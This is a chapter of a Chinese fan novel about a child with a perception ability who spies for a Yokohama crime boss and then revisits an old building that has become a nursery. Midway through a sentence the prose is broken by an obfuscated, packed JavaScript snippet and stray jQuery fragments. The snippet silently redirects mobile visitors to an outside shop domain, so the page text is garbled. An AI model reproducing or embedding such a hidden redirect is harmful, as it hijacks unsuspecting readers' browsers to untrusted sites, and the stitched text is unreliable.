文趣网 > 其他小说 > 幼芽与剧本 > 15. 雨季
    八岁那年入夏之后,夜的任务频率从每月一次增加到每月两到三次。

    他不再需要每次都被森鸥外亲自召见才能领到任务。灰色铁门后的房间里多了一台简单的通讯设备——一个老式的对讲机,固定在桌角,频率预设。每天晚上八点,对讲机会发出一声短促的蜂鸣,表示"有新的任务指示"。夜从对讲机里听到的是一个经过变声器处理的声音,用简短的语句描述任务目标、地点、时间、以及他需要观测的内容。他从没问过那个声音是谁。森鸥外设计的系统从来不需要多余的问题。

    任务类型也更多样了。码头交易是最常见的,夜已经能在一分钟内判断一场交易的"健康程度"——双方是否真正信任对方、是否存在第三方渗透的痕迹、货物的实际重量是否和交割单据相符。他开始能在交易完成之前就预测出它会不会出问题,准确率在第三次任务之后就达到了百分之九十以上。

    除了码头,他还观测过仓库、火车站、废旧工厂、甚至一家看起来完全正常的便利店。那家便利店的地下室藏着一整套通讯设备,夜蹲在街对面的垃圾桶后面观察了两个小时,记录了进出人员的特征和携带物品的类型,回去之后森鸥外的人当天夜里就"接管"了那家店。

    任务越来越多,但夜没有觉得吃力。他的异能分层系统已经运转得像一台精密机器,环境信息、人员信息、物品信息各自归入相应的轨道,互不干扰。他的大脑处理速度在持续提升,现在已经能同时跟踪十二个目标的信息变化而不出现信息溢出的情况。

    但代价他也清楚。

    有一次任务回来后,他在灰色铁门后的房间里整理记录,写到一半忽然感到一阵剧烈的眩晕。视线模糊了大约三秒,眼前像隔了一层毛玻璃。他扶着桌角等眩晕过去,然后继续写完了剩下的记录。他没有告诉任何人。第二天早上起来时眩晕消失了,他照常训练、吃饭、和三个孩子在活动室待着。只是那天晚上他比平时早睡了四十分钟。

    这些细微的变化,绘里注意到了。

    "你最近吃得少,"有一天晚饭时绘里突然说,夹了一块鱼肉放到他碗里,"而且你有时候说话说到一半会停半拍。好像在想事情,但你以前不会停的。"

    夜嚼着鱼肉,没有立刻回答。他的异能感知到绘里的情绪——担忧和关切混在一起,像一杯调得不太均匀的果汁。她在认真地看他,想从他脸上找出什么蛛丝马迹。

    "只是累,"夜说,"习惯了就好。"

    "你不可以硬撑。"绘里把筷子放下,郑重其事地说,"我们四个里面,你是最不会说自己不行的人。所以如果有一天你真的不行了,我们可能根本不知道。"

    健在旁边点了点头。悠真靠在窗台上没出声,但他翻书页的速度慢了。

    夜看着绘里那双认真的眼睛,异能读取到她的情绪异常清晰——没有算计,没有隐瞒,就是一个简单的事实:她不想让他出事。他低头看了看碗里那块鱼肉,然后说:"如果我不行了,我会说的。"

    绘里看着他,似乎在判断这句话的真假。最终她点了头,重新拿起筷子。"那说好了。"

    "说好了。"

    那天晚上夜躺在白色房间的床上时,把绘里的担忧和那句"说好了"存进了心里那个温暖的位置。他发现自己越来越需要这些温暖的东西来平衡那些在码头和仓库里收集到的信息。那些信息大多是冷的、硬的、带着金属和混凝土的质感,偶尔还会沾上血液残留的情绪。他需要回到活动室的暖黄灯光下,回到三个人坐在地毯上的日常中,才能让那些冷硬的东西融化掉。

    他开始理解了森鸥外当初为什么要把四个孩子放在一起生活,而不是各自关在独立的房间里。不是为了让他们快乐——是为了让他们稳定。有人陪着的人,不容易坏。

    八岁那年的雨季特别长。横滨从六月初开始下雨,一直到七月中旬几乎没停过。天空始终是一种脏兮兮的铅灰色,空气里永远飘着细密的雨丝,把整个城市笼罩在一层朦胧的水汽中。

    雨季的第三个星期,夜接到了一个和其他任务都不太一样的指令。

    任务描述很短,只有两行字:鹤见区藤原町,旧洋馆改建的托儿所。确认是否有异能者痕迹。不接触。

    夜把指令看了两遍。鹤见区,旧洋馆。他想起一年半前第一次协同任务时去过的那栋洋馆——那栋他们在墙壁夹层里发现了东西的灰白色建筑。洋馆改建成的托儿所。这个信息的转变让他的异能微微一紧,但他没有表现出来。他收好指令,在预定时间出了门。

    雨中的鹤见区湿漉漉的。街道上行人稀少,撑伞的人在雨中快步赶路,没有人注意到一个穿深色防水外套的孩子沿着路边不紧不慢地走着。夜走了大约二十分钟,穿过几条安静的住宅街,然后看到了那栋洋馆。

    变化很大。

    外墙重新粉刷过,被雨水打湿后呈现出一种柔和的米白色。大门换成了明黄色的新门,门框上挂着一块手绘的木牌,用彩色的颜料写着"蒲公英托儿所",还画了一朵歪歪扭扭的蒲公英。院子里添了滑梯和秋千,此刻空无一人,铁质的秋千链在雨中轻轻晃荡,发出细小的吱呀声。

    夜在街对面的电线杆后面停住脚步。异能向洋馆延伸——一层。二层。三层。信息密集但清澈,没有异常波动。他重新调整了一下位置,把感知范围拉得更细。温暖的气息正在从洋馆内部散发出来——那种属于孩子们的、活着的、吵闹的、充满了涂鸦和打碎茶杯痕迹的气息。他的异能穿过墙壁,扫过一楼的大房间,那里有十几张小椅子围成半圆,墙上贴着彩色

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712422|208459||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    剪纸和蜡笔画。二楼的睡眠室里并排放着矮床,床单都是明快的浅蓝色和黄色。三楼的阁楼被改成了玩具室,积木散落一地,布偶整齐地码在墙角。

    没有异能者。没有异常信息。只有一栋被改造成了托儿所的旧洋馆,一群孩子正在里面午睡,一个年轻的保育员坐在一楼窗边看杂志,偶尔抬头看看卧室门口有没有孩子跑出来。

    夜站在雨中,任由细密的雨水打在自己的防水外套上。他的异能反复扫描了三遍,确认了那个托儿所的每一条信息都和"正常"一模一样。正常的房子、正常的孩子、正常的保育员、正常的生活。他本可以转身离开,把"确认无异"的报告交回去就结束了。

    但他在那里站了很久。

    雨水顺着他的帽檐滴落,在脚下的柏油路面汇成细小的水流。他看着那扇明黄色的门,看着院子里在雨中安静摇晃的秋千,看着二楼的窗帘被风轻轻撩起又落下。他的异能透过那扇明黄色的门,读到了门上残留的旧信息——一年半前,这扇门还是深棕色的,被频繁地锁上又打开,进出的人脚步沉重,呼吸急促,门把手上沾着紧张出汗的手心留下的盐渍。

    现在门是明亮的黄色。门把手被换了新的,每天被十几双小手摸过,残留的信息都是温热、活泼、带着蜡笔和零食的气味。

    夜把帽檐又压低了。他转过身,沿着来路往回走。雨水打在防水外套上的声音细密而均匀,像许多只小锤子在轻轻敲击。他走了十几步之后停了一下,没有回头,只是站在原地听了几秒身后传来的远处隐约的笑声——午睡时间结束了,孩子们醒了。那阵笑声很轻,隔着雨幕和半个街区传过来,暖融融的,像一小团火在远处燃烧。

    他继续往前走。回到横滨站换车,回到港口□□总部大楼,回到十七层。他推开活动室的门时外套还在滴水。绘里看到湿漉漉的他立刻跳起来去拿毛巾,健去倒热水,悠真把自己的毯子丢过来。

    夜裹着毯子坐在暖气管旁边,双手握着温热的杯子。水汽从杯口升腾起来,模糊了他的视线。窗外横滨的雨季还在继续,铅灰色的天空低沉地压在城市上方。但他掌心传来的温度是真实的、完整的、属于这间暖黄色房间的温度。

    他在心里把蒲公英托儿所的那扇明黄色门存了起来。

    和码头、仓库、火车站的那些信息放在同一个角落里,但标记不同。那些信息标记的是"横滨运转的方式",而这扇黄色门标记的是另一种东西——一种他读完之后不知道该归入哪一类的信息,像是从金属质感的现实里忽然露出来的一小块柔软质地。

    他喝了一口热水,把杯子往手掌里拢了拢。

    雨季仍在继续。但他知道那扇门、那道秋千、那些孩子的笑声会在他脑子里留很久,比他记录过的任何交易数据都久。